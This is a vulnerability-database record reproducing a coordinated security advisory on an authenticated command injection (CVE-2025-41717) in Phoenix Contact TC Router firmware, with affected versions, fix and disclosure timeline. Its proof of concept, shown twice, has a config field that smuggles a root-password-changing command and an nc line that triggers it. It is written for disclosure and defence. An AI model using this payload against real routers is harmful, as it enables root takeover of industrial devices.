GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GCVE-1988-2026-0215

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series
Summary
CyberDanube Security Research 20260119-0 ------------------------------------------------------------------------------- title| Authenticated Command Injection product| TC Router 5004T-5G EU vulnerable version| 1.06.18 fixed version| 1.06.23 CVE number| CVE-2025-41717 impact| High homepage| https://www.phoenixcontact.com/ found| 16.04.2025 by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber | CyberDanube Security Research | Vienna | St. Pölten | This research was conducted in cooperation with VERBUND | OT Cyber Security Lab during a penetration test. | | https://www.cyberdanube.com | ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "What we do Connecting, distributing, and controlling power and data flows - we have been developing the right products for this purpose since 1923. Whether in industrial production facilities, in the field of renewable energies, in infrastructure, or for complex device connections: our solutions are used wherever processes must run automatically. Above and beyond their pure function, they help our partners to develop sustainable applications with more efficient processes and reduced costs. We are Phoenix Contact: With innovative products and solutions, we are paving the way to a climate-neutral and sustainable world." Source: https://www.phoenixcontact.com/en-us/company Vulnerable versions ------------------------------------------------------------------------------- Tested on TC Router version 1.06.18 According to the vendor, the following other products are also affected: Product Name | Affected Firmware Version TC ROUTER 3002T-3G | < FW 3.08.8 TC ROUTER 2002T-3G | < FW 3.08.8 TC ROUTER 3002T-4G | < FW 3.08.8 TC ROUTER 3002T-4G GL| < FW 3.08.8 TC ROUTER 5004T-5G EU | < FW 1.06.23 TC ROUTER 3002T-4G VZW | < FW 3.08.8 TC ROUTER 3002T-4G ATT | < FW 3.08.8 TC ROUTER 2002T-4G | < FW 3.08.8 CLOUD CLIENT 1101TTX/TX | < FW 3.07.7 TC CLOUD CLIENT 1002-4G ATT | < FW 3.08.8 TC CLOUD CLIENT 1002-TX/TX | < FW 3.07.7 Vulnerability overview ------------------------------------------------------------------------------- 1) Authenticated Code Execution (CVE-2025-41717) The device is vulnerable to an authenticated code injection. An attacker with valid credentials could abuse this issue to execute code as root. Proof of Concept ------------------------------------------------------------------------------- 1) Authenticated Code Execution (CVE-2025-41717) The config-upload endpoint can be used to inject arbitrary commands which get executed when polling the sock_server. The malicous config changes the root password and enables the service. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <entry name="conf/smtp/auth">1</entry> <entry name="conf/smtp/from">p () t com'$(echo "root:password1!"|ch passwd)'</entry> <entry name="conf/smtp/local">1</entry> <entry name="conf/smtp/password">asdasdasd</entry> <entry name="conf/smtp/port">25</entry> <entry name="conf/smtp/server">192.168.19.138</entry> [...] <entry name="conf/alerts/sock_enable">1</entry> <entry name="conf/alerts/sock_port">14323</entry> <entry name="conf/alerts/sock_xml_io">0</entry> <entry name="conf/alerts/sock_xml_nl">1</entry> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Connecting to the service and sending a mail triggers the command. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $ nc 192.168.19.133 14323 <?xml version="1.0"?> <email to="pwned () pwned com"> <subject>pwned</subject> <body> </body> </email> ------------------------------------------------------------------------------- Solution ------------------------------------------------------------------------------- Install the latest available update. See vendor advisory for detailed version information. Workaround ------------------------------------------------------------------------------- Restrict network access to the device. Recommendation ------------------------------------------------------------------------------- Configuration file reviews are recommended before they got applied to the device. Contact Timeline ------------------------------------------------------------------------------- 2025-07-17: Sent advisory to Phoenix Contact PSIRT. 2025-07-29: Vendor asked for a call to clarify the vulnerabilities. 2025-07-31: Aligned on timeline for September during call. 2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the shift. 2025-09-25: Asked the vendor for another call to clarify details regarding all affected devices (including other advisories). 2025-09-26: Talked to vendor to clarify details. 2025-10-09: Asked for CVE Numbers. Received and included them in the advisory. 2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13. 2026-01-19: Coordinated release of security advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T.Weber / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version CPE status
unknown CyberDanube Security Research Affected: unknown
guessed Create a notification for this product.
Relationships
reference GCVE-1988-2026-0215 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260119-0\n-------------------------------------------------------------------------------\n                title| Authenticated Command Injection\n              product| TC Router 5004T-5G EU\n   vulnerable version| 1.06.18\n        fixed version| 1.06.23\n           CVE number| CVE-2025-41717\n               impact| High\n             homepage| https://www.phoenixcontact.com/\n                found| 16.04.2025\n                   by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber\n                     | CyberDanube Security Research\n                     | Vienna | St. P\u00f6lten\n                     | This research was conducted in cooperation with VERBUND\n                     | OT Cyber Security Lab during a penetration test.\n                     |\n                     | https://www.cyberdanube.com\n                     |\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"What we do\nConnecting, distributing, and controlling power and data flows - we have been\ndeveloping the right products for this purpose since 1923. Whether in\nindustrial production facilities, in the field of renewable energies, in\ninfrastructure, or for complex device connections: our solutions are used\nwherever processes must run automatically. Above and beyond their pure\nfunction, they help our partners to develop sustainable applications with more\nefficient processes and reduced costs.\n\nWe are Phoenix Contact: With innovative products and solutions, we are paving\nthe way to a climate-neutral and sustainable world.\"\n\nSource: https://www.phoenixcontact.com/en-us/company\n\nVulnerable versions\n-------------------------------------------------------------------------------\nTested on TC Router version 1.06.18\n\nAccording to the vendor, the following other products are also affected:\n\nProduct Name | Affected Firmware Version\nTC ROUTER 3002T-3G | \u003c FW 3.08.8\nTC ROUTER 2002T-3G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G GL| \u003c FW 3.08.8\nTC ROUTER 5004T-5G EU | \u003c FW 1.06.23\nTC ROUTER 3002T-4G VZW | \u003c FW 3.08.8\nTC ROUTER 3002T-4G ATT | \u003c FW 3.08.8\nTC ROUTER 2002T-4G | \u003c FW 3.08.8\nCLOUD CLIENT 1101TTX/TX | \u003c FW 3.07.7\nTC CLOUD CLIENT 1002-4G ATT | \u003c FW 3.08.8\nTC CLOUD CLIENT 1002-TX/TX | \u003c FW 3.07.7\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe device is vulnerable to an authenticated code injection. An attacker with\nvalid credentials could abuse this issue to execute code as root.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe config-upload endpoint can be used to inject arbitrary commands which\nget executed when polling the sock_server. The malicous config changes the\nroot password and enables the service.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\u003centry name=\"conf/smtp/auth\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/from\"\u003ep () t com\u0026apos;$(echo \u0026quot;root:password1!\u0026quot;|ch\npasswd)\u0026apos;\u003c/entry\u003e\n\u003centry name=\"conf/smtp/local\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/password\"\u003easdasdasd\u003c/entry\u003e\n\u003centry name=\"conf/smtp/port\"\u003e25\u003c/entry\u003e\n\u003centry name=\"conf/smtp/server\"\u003e192.168.19.138\u003c/entry\u003e\n[...]\n\u003centry name=\"conf/alerts/sock_enable\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_port\"\u003e14323\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_io\"\u003e0\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_nl\"\u003e1\u003c/entry\u003e\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nConnecting to the service and sending a mail triggers the command.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$ nc 192.168.19.133 14323\n\u003c?xml version=\"1.0\"?\u003e\n\u003cemail to=\"pwned () pwned com\"\u003e\n\u003csubject\u003epwned\u003c/subject\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/email\u003e\n\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest available update. See vendor advisory for detailed version\ninformation.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nConfiguration file reviews are recommended before they got applied to the\ndevice.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-07-17: Sent advisory to Phoenix Contact PSIRT.\n2025-07-29: Vendor asked for a call to clarify the vulnerabilities.\n2025-07-31: Aligned on timeline for September during call.\n2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the\n            shift.\n2025-09-25: Asked the vendor for another call to clarify details regarding all\n            affected devices (including other advisories).\n2025-09-26: Talked to vendor to clarify details.\n2025-10-09: Asked for CVE Numbers. Received and included them in the advisory.\n2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13.\n2026-01-19: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T.Weber / @2026\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/3"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.phoenixcontact.com/"
        },
        {
          "url": "https://www.phoenixcontact.com/en-us/company"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-41717",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0215",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3",
            "automated": true,
            "contentSha256": "c9702fb15d54ece4ebd9f6086a5c649d6996044d58fa6aebcf87ec01675ee827",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-03T11:13:05Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0215"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0215"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…